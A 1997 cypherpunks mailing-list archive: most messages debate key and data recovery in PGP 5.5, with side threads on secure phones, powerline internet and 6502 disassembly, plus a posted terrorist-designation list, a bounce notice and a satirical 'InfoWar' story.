     consultant at Trusted Information Systems, a developer of computer
     security software.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
    
   rule
   
  Related sites:
  
     Note: Pages will open in a new browser window
     * Air Force Information Warfare Center World-Wide Web - develops,
       maintains and deploys Information Warfare/Command and Control
       Warfare (IW/C2W) capabilities in support of operations, campaign
       planning, acquisition and testing
     * Air Force Computer Emergency Response Team - the single point of
       contact in the Air Force for reporting and handling computer
       security incidents and vulnerabilities
       
     
     
     External sites are not endorsed by CNN Interactive.
     
   
     _________________________________________________________________
   
   Infoseek search ____________________ ____  ____
   
     _________________________________________________________________
   
   
   rule
   
   Watch these shows on CNN for more sci-tech stories:
   
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   rule Message Boards Sound off on our
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   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 9 Oct 1997 06:07:01 +0800
To: randerso@ece.eng.wayne.edu
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.2.32.19971008090442.0070305c@ece.eng.wayne.edu>
Message-ID: <199710082004.VAA00169@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ryan Anderson <randerso@ece.eng.wayne.edu> writes:
> >
> >What you call "fragility" is properly called "security".  Would you
> >describe 128-bit keys as more "fragile" than 40-bit keys?  Why is PGP,
> >Inc. inventing propaganda terms for the authorities?
> 
> Okay, call it security but the point is, if you're protecting
> documents vital to your company using encryption (say the design of
> a new product) and the person who knows the passphrase dies, you've
> just lost a great deal of money.

Not at all.

People seem to be forgetting that we're talking about email security
here.

Email isn't that reliable.  Email goes missing now and then.  Your DNS
is out, the receivers mail hub has a glitch and swallows it, whatever.

Are you really claiming that you will have email in transit which is
so valuable that your whole company will be in jeopardy if the
intended recipient dies unexpectedly?

More likely: you get the sender to resend it.

Don't confuse the issues surrounding need for backup of storage keys
with communications keys.  There is a definate need to take care to
have backups of keys used to encrypt backups and disks.  Not so for
communications keys.

I gave some alternative GAK unfriendly ways of archiving email in my
longer reply to PGP's Jon Callas defensive article on the NYT article.

> Well, any company giving stock advice (and governed by SEC rules on
> stock tips, etc.) is already require to have all outgoing mail
> approved (e-mail and snail), so does it matter if they record it or
> not?

If a company has a policy of approving outgoing email, I'd argue for a two
tiered system.  One for "official statements" which is approved, archived,
signed with a transferable non-repudiable signature.  And one for unofficial
communications, signed with a non-transferable signature, and perhaps
delivered via mixmaster.

The way to archive your outgoing email is not to have the email in transit
encrypted to an extra recipient.  The way to do it is to archive sent mail
in the senders MUA or at least internal to the senders offices.

You will notice that this then involves storage keys, which the GAKkers
aren't interested in.  Why aren't they interested in access to storage keys? 
Because they would have to issue a supeona and take the disks away before
they would have any use for them.  At that stage they'd just as well list
the keys to decrypt anything which is encrypted on the disks they seize.

The reason the GAKkers want access to communications keys is so that
they can read your email without you knowing.  So they can go on
fishing expeditions and use the evidence by saying that "an unanmed
source" tipped them off, etc.

By implementing GAK for corporates in such a GAK friendly way, PGP Inc
has helped the GAKkers.  I would be interested to persuade them to
change their architecture for archiving sent and received email.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Thu, 9 Oct 1997 10:05:48 +0800
To: cg@evrl.xs4all.nl
Subject: Re: Internet Via Electric Lines?
In-Reply-To: <199710081929.VAA19175@evrl.xs4all.nl>
Message-ID: <199710090117.VAA10713@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Cees de Groot wrote:

: In the Netherlands, every house is hooked to the natural gas network. I've
: heard rumours about them guys testing literally blowing fiber into your
: house through the gas pipes (hook fiber to a shuttle, let it loose - gas
: pressure does the rest). Never heard how they're gonna do the steering on
: junctions, though...

Or how they plan on doing it without filling up the target domicile with
lots of stinky gas.

Doc

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDwwp8HFI4kt/DQOEQJ+jACgtbYvxRakM0Wagm3hUmC0WFVpaV4AnA7m
9ZrhoWionhcj07t4OM9qRSxE
=nYyZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cees de Groot <cg@evrl.xs4all.nl>
Date: Thu, 9 Oct 1997 04:23:41 +0800
To: cypherpunks@toad.com
Subject: Re: Internet Via Electric Lines?
In-Reply-To: <199710081601.JAA15326@toad.com>
Message-ID: <199710081929.VAA19175@evrl.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



In <199710081601.JAA15326@toad.com> Peter Trei wrote:
>
>It looks like we're seeing different parts of the problem. You're 
>worried about the long-haul backbone. I'm trying to see ways to
>get a 10Gbps fibre into my living room.
>
In the Netherlands, every house is hooked to the natural gas network. I've
heard rumours about them guys testing literally blowing fiber into your
house through the gas pipes (hook fiber to a shuttle, let it loose - gas
pressure does the rest). Never heard how they're gonna do the steering on
junctions, though...

Welcome to the brave new world - I envision utility companies literally
running down your front door for the privilege of being allowed to hook
your house to their 10Gbps network :-)


-- 
Cees de Groot               http://pobox.com/~cg         <cg@pobox.com>
               Photo pages: http://pobox.com/~cg/photo
          Yashica SLR List: http://pobox.com/~cg/photo/yashica





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Thu, 9 Oct 1997 05:53:05 +0800
To: cypherpunks@toad.com
Subject: Re: Secure phone
Message-ID: <YEGLY2IAZdGVHR5WT9gjbA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



John Deters wrote:
> At 12:44 PM 10/7/97 -0700, Eric Blossom you wrote:
> >I wrote:
> >> Therefore, man-in-the-middle can be more precisely described as an
> >> unauthenticated end-point problem.  Therefore, without authentication,
> >> there is no defense (yet) against MITM attacks.

> >I concur from the theoretical point of view.

> It would be easy enough to "trick" the MITM into exposing their existance
> anyway, just by using digits that come up in conversation. 

> A sudden dropout of sound (or "accidental" loss of
> connection) while the MITM recognizes the trap and tries to backpedal will
> be instantly noticed.  Human protocols are resilient, whereas mathematical
> protocols are precise.

Speaking from a practical standpoint, since I have been the target of
a variety of electronic surveillance for over a quarter of a century,
the Man-in-the-Middle rarely operates so well that there are not a
number of small anomalies that one cannot spot in the quality and/or
flow of the service they are receiving. On the other hand, they rarely
screw up so badly as to make it glaringly obvious what they are doing.

The main thing, when one has reason to believe that quality or technical
problems may be the result of MITM, is to take subtle actions such as
the one suggested above, in order to force the MITM to adjust on-the-fly
to situations that you create in order to monitor the monitor.
  e.g. - "Call me in 5 minutes at 555-PAY-PHONE for the secret code."
    If you already have a shill using that pay phone to monitor sudden
  anomalies in the function, fine, but it is ususally sufficient to
  take a call at the phone in five minutes, and the results of a quick
  patch will be noticeable.
     - "Do you have a radio playing, or something?"
    Hi-tech MITMs use a white-noise system designed to provide a cover
  for noise from their equipment, and a statement such as the above will
  invariably cause them to adjust it, usually resulting in a greater
  clarity or greater fuzziness on the line.

  Similar analysis of one's email, particularly if you have several
recipients who can send you full feedback on timing/routing, etc., can
reveal consistent differences between letters to your mom, and your
death threats against the King (as well as letter to your mom which
contain death threats against the King).

  Bottom line: If you are sending something worthy of being monitored,
then your actions and methodologies should reflect the belief that
you *are* being monitored.

  Please destroy your hard drive after reading this post.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 9 Oct 1997 12:45:06 +0800
To: Jon Callas <minow@apple.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.3.32.19971007142710.00a22970@mail.pgp.com>
Message-ID: <3.0.3.32.19971008213456.006ae340@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:27 PM 10/07/1997 -0700, Jon Callas wrote:
>When I was at HIP97 this August, I was amused to hear cypherpunks
>chanting, "Data recovery good, key recovery bad." 
...
>The essence of data recovery is that focusing on the keys is a canard. 
>If you've misplaced your data, you want the data back, not the keys.
>The only people who want your keys are people who want to spy on you. 

Eric Hughes brought up this at a cypherpunks meeting earlier this year.
It doesn't mean that businesses often _need_ data recovery, 
and there are serious and complex concerns about 
	"what data do we keep?  what data do we discard?"
that companies, their legal staffs often deal with.
In particular, the Intellectual Property Bureaucrats tend to get
very concerned if you either do or don't have a large collection of data
in one place, as lawsuit targets, conflict of interest between departments,
and "simultaneous employment" opportunities for clerks and computer-janitors.
But it's clearly the case that they don't need keys, only maybe data.
I haven't yet seen a technical description of PGP5.5, but it sounds like
it's implementing copying data to some corporate data-escrow key.
Note that, while it is a lawsuit/subpoena/warrant target,
that's typically not something that happens without company knowledge,
unlike Louis Freeh's dream of no-knock backdoors for your data.

So who gets the data?  How do you tell what kinds go to whom?
Any corporate feature for implementing this needs to provide some
mechanism and interface for supporting multiple alternative recipients -
if you need message escrow, you may need the 90-day-Work-In-Progress escrow,
or the Long-Term-Projects escrow, or the Company-X-Relationship escrow, 
or the Accounting-Department Escrow, or the Retain-for-Legal-Department escrow 
- note that these are different functions from just copying those recipients,
because an escrow feature is supposed to be semi-automatic and not for
automatic and convenient access.  

Doing the job right really means you need to be able to send mail to 
recipients who get only a secret-shared slice of the session key, 
not the whole thing - not only for corporate data escrow, but also for
mail you've addressed yourself that goes to your lawyers, or the
managers of your trust, or the three trustees of your corporation.

>One of the downsides of cryptography is that if you lose your passphrase
>(or token, PIN, smart card, or whatever), you've lost your data. 

One way to help this problem is to support secret-sharing for user key backup,
as well as the ability to make copies of keys with different passphrases
(e.g. the floppy in the offsite-storage with the passphrase on the yellow-sticky
doesn't use the same passphrase as the same key on your desk machine.)

>(5) The system has to allow someone under a legal threat to respond
>effectively to that threat. Legal threats include warrants, subpoenas, and
>discovery processes. You have to be able to respond to the request for
>information without losing your keys and thus all of your data.

This is an important point - if you've got [data  + session key] escrow,
you've got a reasonable court case that says the court doesn't need your 
master keys, just the keys for the specific messages.  Of course,
they _can_ ask to see _all_ the messages by the targeted senders,
just as they can ask to see all the paper in your file cabinets,
but you at least have some ability to fight it.

>(6) It must also provide a response to those who would regulate crypto in
>the name of public safety. Fortunately for us, potential regulators have
>focused on the horsemen of the infocalyse. 

The issue of whether this is in fact needed or if it's giving in to
the Great Satan is of course the critical one....

> A few weeks ago, we showed it to the FBI and asked their opinion.
> They told us it doesn't meet any of their needs.

No, No, Br'er Zimmermann, Don't throw me in that there briar patch!


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 9 Oct 1997 10:44:04 +0800
To: cypherpunks@toad.com
Subject: US Terrorist Targets
Message-ID: <1.5.4.32.19971009020928.00b8ef6c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



US State Department today published the latest list of terrorist
organizations (and multiple aliases) which are now targets of 
sanctions:

   http://jya.com/dos100897.txt

And related foreign assets control announcement:

   http://jya.com/fac100897.txt

----------

List summary:

Abu Nidal Organization
Abu Sayyaf Group
Armed Islamic Group
Aum Shinrikyo
Democratic Front for the Liberation of Palestine-Hawatmeh Faction
Euzkadi Ta Askatasuna
Gama'a al-Islamiyya
HAMAS
Harakat ul-Ansar
Hizballah
Japanese Red Army
al-Jihad
Kach
Kahane Chai
Khmer Rouge
Kurdistan Workers' Party
Liberation Tigers of Tamil Eelam
Manuel Rodriguez Patriotic Front Dissidents
Mujahedin-e Khalq Organization
National Liberation Army
Palestine Islamic Jihad-Shaqaqi Faction
Palestine Liberation Front--Abu Abbas Faction
Popular Front for the Liberation of Palestine
Popular Front for the Liberation of Palestine--General Command
Revolutionary Armed Forces of Colombia
Revolutionary Organization 17 November
Revolutionary People's Liberation Party/Front
Revolutionary People's Struggle
Shining Path
Tupac Amaru Revolutionary Movement





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 9 Oct 1997 06:55:48 +0800
To: whgiii@invweb.net
Subject: access to storage keys, NOT comms keys! (Re: What's really in PGP 5.5?)
In-Reply-To: <199710081815.OAA20071@users.invweb.net>
Message-ID: <199710082122.WAA01574@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




[made a few snips to the CC line, still Cc of cypherpunks]

William Geiger <whgiii@invweb.net> writes:
>    at 11, Adam Back <aba@dcs.ex.ac.uk> said:
> >1. to allow access to important material lost in the mail system in the
> >event that an employee is hit by a bus
> 
> >Argument 1 seems pretty flimsy to me.  I reiterate my comment in an
> >earlier post: who in their right mind keeps their _only_ copy of ultra
> >valuable company information bouncing around in the email system?  Did
> >those arguing for this position not notice that sometimes email gets lost
> >in transit?
> 
> Well lets take the flip side of this: Who in their right mind encrypts
> ultra valuable company information and then leaves the plain text on their
> computer?? 

Lots of people.  See, what goes over a public network in the clear is
much more vulnerable than what sits on your disk.  I encrypt
communicated copies of things which aren't encrypted on the disk
myself.  I suspect you do too.

But, more to the point, my argument was that keys should have
segregated uses.  One key for storage, another for receiving encrypted
emails.  I wasn't saying that you wouldn't encrypt your archived sent
& received email.  I _was_ arguing that a better way to archive email
securely is to encrypt it with a separate storage key.

> I have an outbox full of encrypted messages that are encrypted
> to both the recipient and to my key (Encrypt-To-Self Option). 

Bad move dude.

See you might have a 100 bit entropy passphrase, but the recipient
might have a password of "fred".  You've conveniently archived all
your email, and you've left it decryptable by a hodge podge of other
people with unknown level of care about your level security.

Say perhaps fred deleted the email after reading, even though he has a
poor passphrase.  You have just screwed your own security.

Similar problem if it is you that has a passphrase of "william".  I
won't thank you when the feds decrypt your email to me, thanks to a
you having a poor passphrase.  (Not that I'm suggesting you do).

If your email archives are encrypted with storage keys, you avoid all
these problems, and avoid GAK arguments at the same time.

> If you are going through the trouble of encryption why would you
> want to leave plain text lying around??? One needs to remember that
> e-mail is not just communication but communication *and* storage.

Nope.  Email is communication.  Archived email is storage.  Use
communication keys for communicated email, and storage keys for
encrypting archived email.

This is a very important point, and I can't fathom why so many people
who are otherwise on the ball are not getting it.  If you don't escrow
any communication keys, but do escrow storage keys, the GAKkers don't
get what they want, and you get all the functionality you need.  They
actually have to break into premises, and take disks, and supoena
keys.

Right?  Simple enough isn't it?

> >2. to allow management to spot check the emails being sent and received
> >
> >A less GAK friendly way to implement it, and a more secure way would
> >be to archive for a while the session keys. The security advantage
> >being that the email doesn't go out with the session key encrypted
> >to 2 long term public key encryption keys.
>
> I have seen no evidence that encrypting to multiple recipients is any less
> secure than encrypting to one. 

Of course it's less secure.  It's less secure almost by definition.

Lets say you have your communications encrypted with only your key,
and there is a small probability call it p1 that your key is
compromised (key board sniffer virus, hidden video cam, typing
passphrase whilst on phone (yes?), whatever). 

Well if you encrypt to another key, say a corporate escrow key, there
is an additional chance, call it probability p2, that your security
can be blown by the corporate key being compromised.  So long as the
p2 is greater than 0, which I'm sure you'll agree it is, however
small, then you have less security by using multiple encryption.

> If there are serious security implications in doing so then it
> affects *all* versions of PGP and not just 5.5.  I find it odd that
> this issue is only now being brought up with 5.5 and never mentioned
> with previous versions.

I've been arguing against using encrypt-to-self for ages.  It simply
makes me cringe when people send me email which is encrypt to self.

> One thing I would like to see added to this set-up is secret sharing of
> the corporate private key. [details elided]

Sounds like a good idea.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mail Delivery Subsystem <MAILER-DAEMON@wombat.sk.sympatico.ca>
Date: Thu, 9 Oct 1997 13:17:10 +0800
To: <cypherpunks@toad.com>
Subject: Warning: could not send message for past 4 hours
Message-ID: <199710090428.WBY07338@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain

    **********************************************
    **      THIS IS A WARNING MESSAGE ONLY      **
    **  YOU DO NOT NEED TO RESEND YOUR MESSAGE  **
    **********************************************

The original message was received at Wed, 8 Oct 1997 18:00:38 -0600 (CST)
from orenco23.sk.sympatico.ca [142.165.99.23]

   ----- The following addresses have delivery notifications -----
<toto@sk.sympatico.ca>  (transient failure)

   ----- Transcript of session follows -----
<toto@sk.sympatico.ca>... Deferred: Connection refused by orion.sk.sympatico.ca.
Warning: message still undelivered after 4 hours
Will keep trying until message is 1 day old


Reporting-MTA: dns; wombat.sk.sympatico.ca
Arrival-Date: Wed, 8 Oct 1997 18:00:38 -0600 (CST)

Final-Recipient: RFC822; toto@sk.sympatico.ca
Action: delayed
Status: 4.2.0
Remote-MTA: DNS; orion.sk.sympatico.ca
Last-Attempt-Date: Wed, 8 Oct 1997 22:28:07 -0600 (CST)
Will-Retry-Until: Thu, 9 Oct 1997 18:00:38 -0600 (CST)


To: cypherpunks@toad.com
Subject: InfoWar 2000 / AOL Format
From: The Last True CypherPunk <cypherpunks@toad.com>
Date: Wed, 08 Oct 1997 18:04:15 -0600
Organization: "It's a Multi-User Persona whose homepage is a Mirror site."
Reply-To: cypherpunks@toad.com
Title: The True Story of the Internet Part II








The True Story of the InterNet

Part III


InfoWar
2000

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

InfoWar 2000 


InfoWar 2000


"InfoWar is back!" Jonathan cried out, waking
the other members of the Magic Circle instantly. They quickly
rose and gathered around the GraphiScreen hovering over the old
oak table.

Subject: Re: [Pigdog] ViaCrypt slowly executes Timmy
C. May
From: Flesh <flesh@pigdog.org>
To: pigdog-l@arlington.com, cypherpunks@toad.com

Does the fireBot work well with the throwemupagainstthewallandaimfortheheadBot?



Cowboy recognized the significance immediately. "A thousand
Points of Presence."

"UUNET...WorldCom?" Alexis asked, surprised.

Jonathan nodded, adding, "And they're moving faster and
quieter than they did in history as we have known it, up to now."

He began reading off the list he had compiled in just a short
time, "Fiber, Digital Microwave, Satellite, Undersea Fiber
Cable. Financial markets, telecommunications, construction, health
care, and politics.
"They seem to be putting all of the 'usual suspects' under
one flag, around the globe."


A Player To Be Named Later scanned the series of posts, for the
thousandth time. 
"It's dejavu, all over again." he said, quoting
a Yogi Berra malapropism.

The feeling had been growing on him...
The feeling that somehow, everything was the same as before...only
different.

"The Lake of Life has started to
turn over. The bottom is rising to the top, the top is descending
to the bottom, and everything is becoming the opposite of what
it seems to be."

A Player To Be Named Later sat quietly, contemplating what it
was that had changed, only somehow not changed, since the last
time the lake had turned over on the CypherPunks mailing list.

He thought about "WebWorld & the Mythical Circle of Eunuchs."
He began to see the parallel between the history of the creation
of WebWorld and the creation of the CypherPunks distributed list.

There was the subterfuge which had preceded both the Channel Revolution
which foreshadowed WebWorld and the Censorship Crisis which had
presaged the CypherPunks distributed mailing list.
There were the climaxes that precipitated the structural changes
in both cases, the satellite destruction in the one case, and
the loss of toad.com as host to the mailing list in the other
case. There were the parallels with outside attacks ceasing on
both the CypherPunks distributed mailing lists and the variety
of Channels on WebWorld, in an attempt to let the citizens/members
bond with their new channels/lists.
One parallel-or two, depending on how you looked at it-in particular,
which stood out in the mind of A Player To Be Named Later.

There were three CypherPunks distributed lists-at algebra.com,
ssz.com, and at cyberpass.net.
Likewise, there was a reference to the Money Channel Government
in WebWorld having three channels under its control.
Then, there was the strange, strange saga of three religious channels-the
God Channel, the Dualist Channel, and the Trinity Channel-which
had somehow merged, yet not merged, creating a problem which had
left the 'powers that be' very, very nervous.

"What the hell happened to Channel War I?" A
Player To Be Named Later, asked himself, suddenly recognizing
a glaring disparity between the parallels he was drawing between
the history of WebWorld and the history of the CypherPunks list.

"And what the hell happened to InfoWar?" he asked,
turning to Baby, who stood up and barked her agreement that there
was definitely something fishy going on that involved the two
shadow wars that had somehow been misplaced in the annals of history-one
in the future, and one in the past.

In 'WebWorld', both the reference to the three Money Channel Governments
and reference to the three spiritual channels which became one,
yet didn't, revolved around the close of Channel War I. But there
didn't seem to be a parallel to Channel War I in the Time-Line
of the CypherPunks list.
Likewise, 'WebWorld' began with a reference to an 'InfoWar Scrambler
Mechanism' which seemed to indicate that 'InfoWar' would play
a major part in the history of 'WebWorld & the Mythical Circle
of Eunuchs.' Yet there were only a few later references in Part
II of The True Story of the InterNet in regard to "the beginning
stages of InfoWar," with no further details.

A Player To Be Named Later strained to touch the wispy haze of
memory which was rising somewhere in the back of his mind-a memory
which whispered "InfoWar" from somewhere deep
in the heart of the CypherPunks mailing list censorship crisis.

"Toto!" he said, suddenly feeling a ferocious
stinging sensation behind his right ear, which resulted in a loss
of balance as he fell to the floor, and a loss of consciousness
as the blackness closed in around him...


The tattered remnants of the Magic Circle of the future sat quietly
around the antique oak table, anxious and depressed.

"Why is the Trei Transponder receiving interference from
Toto's digital implant?" Priscilla asked the group. "All
of my monitoring tests show that the last adjustments we made
to the Zooko Zamboni were up to Journeyman standards."

"Perhaps it is a result of the differences in the winter
climates between the Netherlands and Canada." Jonathan
said.
"It seems to me that the effects of Global Warming were
just beginning to have undeniably noticeable effects in that particular
 epoch."

The Cowboy got up and paced a bit, as the others realized he was
working up the courage to say what they were all thinking.
"Or.." he hesitated, then turned to face the
others and continued, "perhaps the rebirth of InfoWar
reflects that our efforts toward changing the past have not only
been successful, but are now irrevocable."


Jonathan pulled up a passage of 'WebWorld' onto the GraphiScreen,
contemplating what he had originally perceived as the failure
of InfoWar during the hotly contested battle which took place
on the CypherPunks list during the censorship crisis.

"January 19, 1997.
"The beginning date of the 'moderation experiment' on the
legendary CypherPunks mailing list. The beginning probe in preparation
for the launching of InfoWar-an experiment which had failed miserably
and had caused a delay in the plans of the Evil One. A delay caused
by the damnable insolence of the terminal misfits among the CypherPunks.
An insolence that was rumored to be fueled by the Circle of Eunuchs,
fanning the 'flames' of dissent among the CypherPunks, helping
them to resist the herding of their list members into the group-mindset
desired by the Evil One."


The other members of the Circle of Eunuchs sat still in their
seats, not wanting to disturb the deep thoughts of Jonathan, who
was indeed the Last True CypherPunk, having grown up at their
feet, immersed in their logic and their lore, and whose whole
life had been ruled by his connection to the infamous anarchists
who had been, alternately, both the shining light of freedom and
privacy in their era, and the treacherous instigators of Channel
War II-the war which had led to the ultimate triumph of the Gomez
and the Dark Allies and the conclusive ascent of the Dark Forces
in their domination of WebWorld under the dictum of the Evil One.

The room was quiet as Jonathan reluctantly pulled up the next
passage of 'WebWorld' which had described his feelings when his
bereft past had come back to haunt him.

"Jonathan sat frozen in his seat, once again, his brain
locked from the major dichotomies being produced as a result of
his present-in which the CypherPunks were a villainous band of
rogues who had instigated the launching of Channel War II-and
his past, in which his grandfather had been exposed both as one
of the major players in both the launching of Channel War II,
and as traitorous scum who had sabotaged the goals of the CypherPunks
in that same historical battle.
"Jonathan's grandfather wasn't just a CypherPunk. He was
the Fool."


"We won..." Jonathan's voice trailed off,
before he rose from the table and repeated his statement, in anger.

"We won, damn it!
"I know we won. Grandfather knew we won the censorship
battle. Everyone knew that we won the censorship
battle. History itself knows that we won...we..."

Jonathan stopped short, turning to stare at the others, who were
staring back.

"Jonathan..." Bubba said softly. "History
has changed."

"I know that, damn it!" Jonathan resumed
his pacing, knowing that he was missing something very, very important,
but he couldn't for the life of him think what it might possibly
be.

The others in the room watched and waited, knowing that it was
Jonathan, and Jonathan alone, whose heritage was intricately and
irrevocably linked to the era in history which they had, for better
or worse, interfered in through their use of the Trei Transponder.

"Grandfather was a traitor to the CypherPunks...a traitor
to freedom and privacy. He sabotaged everything that the CypherPunks
had fought so hard to defend, since the inception of their anarchist,
cryptography mailing list.
  "But the CypherPunks loved us..."

Jonathan was lost in memories of a childhood in which he and his
family had been forced to remain in constant motion, staying a
half-step ahead of the Dark Allies, who had been hunting down
the last remaining members of the CypherPunks-with a vengeance.

His family had been soundly welcomed by the remaining CypherPunks,
in their flight to freedom after his Grandfather's assassination.
They had given the family food, clothing, shelter, and warned
them when the Dark Allies were closing in, and it was once again
time to flee. Duncan Frissell had even...
Perhaps they all had...

Jonathan sank to the floor, slowly, with Alexis leaping up and
catching him softly. Cowboy helped her guide him toward the table
and lower him into a chair.
Jonathan slowly pulled off his shirt and stared at his tattoo...the
Mark of the Toad.

"Duncan Frissell arrived at our last safe house, in the
middle of the night." Jonathan spoke, finally understanding
the real story behind his family's flight into obscurity.
"He warned us to flee, but it was too late...the Dark
Allies were close at hand."

Jonathan's voice was full of amazement as he recounted an event
which he had long known, but had never managed to fully understand.

"Duncan held the Dark Allies at bay, while we made our
escape. I can still hear his screams..." Jonathan
shuddered, then began shaking terribly. Alexis closed her arms
around him, hugging him lightly.

"Your Grandfather knew that the CypherPunks had
lost the battle." Bubba picked up the thread.
The other members of the Magic Circle looked on, mystified as
to this strange turn of events which turned the whole history
of the CypherPunks and the Circle of Eunuchs on hits head.

"It wasn't a censorship battle." the Cowboy said,
amazed as much by what he was saying as those listening to him
were.
"It was InfoWar!"

"That's what happened to InfoWar." Alexis
cried out, in disbelief of her own words. "It was over
before it had begun."

Bubba d'Shauneaux IV rose to his feet, and filled in the details
of the battle as could only be done by one who had spent a lifetime
of subterfuge playing a role which was the exact opposite of what
it had seemed to be from surface appearances.

"It was the first battle fought solely within the bounds
of Virtual Reality."

"It represented the true nadir point in history when the
battle between the Forces of Light and the Forces of Darkness
moved beyond the physical plane and into the minds of mankind."

"InfoWar!" he roared, the word
reverberated throughout the room, sending the Trei Transponder
into a soft hum which grew louder and louder, with a pitch that
went lower and lower until it became subsonic, unheard, but shaking
the room...the earth...even WebWorld itself...

The Trei Transponder exploded with a mighty boom, shaking the
room so violently that the tattered remnants of the Magic Circle
were thrown from their chairs,  and found themselves rising to
see only ruins around them, where their safe house had once been.
They immediately realized that they must flee at once, as those
investigating the explosion would undoubtedly be the Dark Allies,
fully aware that the event had rent WebWorld at the seams.

Jonathan paused, weapon in hand, covering the retreat of d'Shauneaux,
who had remained behind to remove the last traces of evidence
that the Circle of Eunuchs had ever truly been there.
As d'Shauneaux joined him, motioning for him to proceed, he took
one last look at the shattered remains of the Trei Transponder.
All contact with the CypherPunks of the past was now gone, with
little hope of it being renewed.

Silently, he sent a message to the CypherPunks of his youth-from
the bottom of his soul and into the inestimable profundity of
the Tao. It was a message that would be understood by those who
had been at Woodstock-a physical gathering of a Magic Circle which
had come into physical being through a random blessing of Time
and Chance.

"You're on you own, folks...because we're sure on ours."


Those who fail to learn from the future, are doomed
to repeat it.


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0132.myriad.ml.org (Matthew Ghio)
Date: Thu, 9 Oct 1997 11:17:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [LONG, off-topic]] Interactive Programming
In-Reply-To: <199710071346.GAA11853@toad.com>
Message-ID: <199710090310.XAA29039@myriad>
MIME-Version: 1.0
Content-Type: text/plain



>      In any event,
>      I was impressed enough that I quit looking for the
>      offending test,
>      telling the Big Boss I couldn't find it.
>      He didn't seem surprised.

Reminds me of a time, years ago, where I was trying to modify a program
written in 6502 assembler.

In addition to pervasive self-modifing code, another extremely popular
practice of the era was inlined function-call parameters.

Unlike the C approach, which most of you are probably familiar with, where
parameters are pushed onto the stack, then a subroutine is called which
pops them, instead the subroutine would pop the return address, and use it
as a pointer to the function parameters.  At the end of the function, the
return address pointer would be incremented and jumped to.

You're probably thinking, this is nuts.  Why would anyone do this?
Consider the following line of C code:

  result = function(x,y,z);

One could write this in 6502 assembler as:

  JSR function
  DATA x
  DATA y
  DATA z
  STA result

where x,y,z,result are pointers to storage locations.  This made coding
in assembler just as easy as coding in C, and it took less memory because
you didn't need all those push/pop instructions.  Doing this on a modern
processor would probably wreck havok on the decode pipeline.

Apple's ProDOS used this type of calling sequence, and most disassemblers
dealt with this special case by correctly identifying the parameters as
such.  But one of the worst I ran into was this:

  JSR printf
  ASC "Hello, world!",0
  ...

You can imagine what the disassembler did with that.  Spit out all sorts
of garbage as it tried to interpret the ASCII string "Hello, world!" as
machine instructions.

I encountered this in some BBS software, and had a real difficult time
reading it.  Finally I got the idea of taking the partially disassembled
code, identifying all the branch target addresses, then redisassembling
starting at those addresses.

It worked.  After a few iterations of this I had all the entry points, and
everything that didn't disassemble cleanly was outputted as hex data.

For fun, run objdump on a cleanly compiled unix binary... It makes it all
look so easy... :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 9 Oct 1997 06:56:31 +0800
To: marc@cygnus.com
Subject: data recovery good, key recovery bad (Re: Are we all looking at the same PGP 5.5 ?)
In-Reply-To: <t53g1qcm7i8.fsf@rover.cygnus.com>
Message-ID: <199710082223.XAA01603@server.test.net>
